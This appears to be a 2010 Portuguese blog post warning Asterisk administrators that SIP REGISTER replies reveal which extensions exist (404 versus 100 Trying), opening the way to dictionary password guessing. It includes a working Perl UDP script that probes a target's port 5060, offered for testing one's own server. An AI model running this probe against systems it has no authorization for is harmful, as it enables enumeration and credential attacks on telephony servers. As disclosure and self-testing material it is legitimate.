Início > Programação, Segurança, Telecom > Sip Protocol Danger

Sip Protocol Danger

Olá !!

Dia do SysAdmin então pq não falar de segurança !

Quem nunca se deparou com tentativas de ataque que atire a primeira pedra rsrs. No mundo da voz sobre IP a coisa não poderia ser diferente, meu Alerta vai para a comunidade Asterisk já faz alguns meses que resolvi colocar a prova como se comporta o protocolo SIP.

E o review que consegui foi alarmante, imagine você descobrir remotamente via porta SIP quais ramais existem em seu PBXIP e pior que isso ainda poder usar dicionários para chutar as senhas, pois bem isso é possóvel e grave..

Vamos aos meus testes:

-Configurar um Server Asterisk

-Criar ramais

-Deixar a porta 5060 (SIP) em listem para a internet

-Criar um script Perl para conectar na porta 5060 UDP e enviar o método de registro documentando pela arquitetura SIP e pegar o Retorno.

Detalhe conseguia saber os ramais existentes remotamente analisando a simples resposta do protocolo …

Testando ramais não existentes no Servidor Asterisk a resposta foi:

Retorno ‘SIP/2.0 404 Not found …..”

Segue tela do retorno

No Servidor que recebe o ataque em meus logs tenho

[Jul 30 18:50:08] NOTICE[2941] chan_sip.c: Registration from ‘sip:ramal@IP_server <sip:ramal@IP_server>’ failed for ‘Ip_remoto’ – No matching peer found

Owww já sei que este ramal nao existe no servidor entao resolvi colocar um existente e recebo na tela :

Retorno ‘SIP/2.0 100 Trying

Pronto temos um padrão retorno 100 ramal Existente retorno 404 ramal Inexistente.

Parece perigoso o pior de tudo isso é que apos isso vc pode passar via Socket tentativas de senha e verificar o retorno, novamente perigo eminente…

bom para quem quer testar seus servidores vou colocar o script aqui ..

#!/usr/bin/perl
use Socket;

sub envia {
$servidor_ip = shift;
$ramal = shift;
$sip_to   = shift;
$sip_from = “asterisk”;
$tm       = time();
$call_id  = $tm . “msgto$sip_to”;
$httptime = `date -R`;
$MESG     =
“REGISTER sip:$servidor_ip SIP/2.0
Via: SIP/2.0/UDP 127.0.0.1:60576;branch=z9hG4bK-d87543-061cb00346133471-1–d8754                                                                                                 3-;rport
Max-Forwards: 70
Contact: <sip:$ramal\@127.0.0.1:60576;rinstance=f0265fa8a56b482e>
To: sip:$ramal\@$servidor_ip <sip:$ramal\@$servidor_ip>
From: <sip:$ramal\@127.0.0.1>;tag=3f0fc020
Call-ID: c355bd6a0c2dda04MGY1MmU2YjE2MjY4ZTk1YjNiMWE4ZGQxYzdhZDU2MTA.
CSeq: 5 REGISTER
Expires: 3600
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INF                                                                                                 O
User-Agent: X-Lite release 1002tx stamp 29712
Content-Length: 0

“;

$proto = getprotobyname(‘udp’);
socket( SOCKET, PF_INET, SOCK_DGRAM, $proto );
$iaddr = inet_aton(“$servidor_ip”);
$paddr = sockaddr_in( 5060, $iaddr );
bind( SOCKET, $paddr );
$port = 5060;
$hisiaddr = inet_aton($servidor_ip);
$hispaddr = sockaddr_in( $port, $hisiaddr );
print “Enviado\n”;
if ( send( SOCKET, $MESG, 0, $hispaddr ) ) {
print “envio para “, “$servidor_ip”, ” com sucesso”, “\n”;
my $ptime;
my $src = recv(SOCKET, $ptime, 128, 0);
print “\nRetorno ‘”, $ptime,”‘\n”;

}
else { print “envio”, “$servidor_ip”, ” falhou”, “\n”; }

}

envia(“IP_REMOTO_AQUI”, “RAMAL_REMOTO_AQUI”, “1005”);
exit;

[]’s

Eng Eder de Souza

  1. agosto 24, 2010 às 4:10 pm

    Fala Eder! Beleza o tópico! Para quem quiser saber mais sobre as respostas sip’s eu postei um artigo à pouco!

    Abs,
    Rodrigo Lang.

  1. No trackbacks yet.

Deixe uma resposta

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair / Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair / Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair / Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair / Alterar )

Conectando a %s

%d blogueiros gostam disto: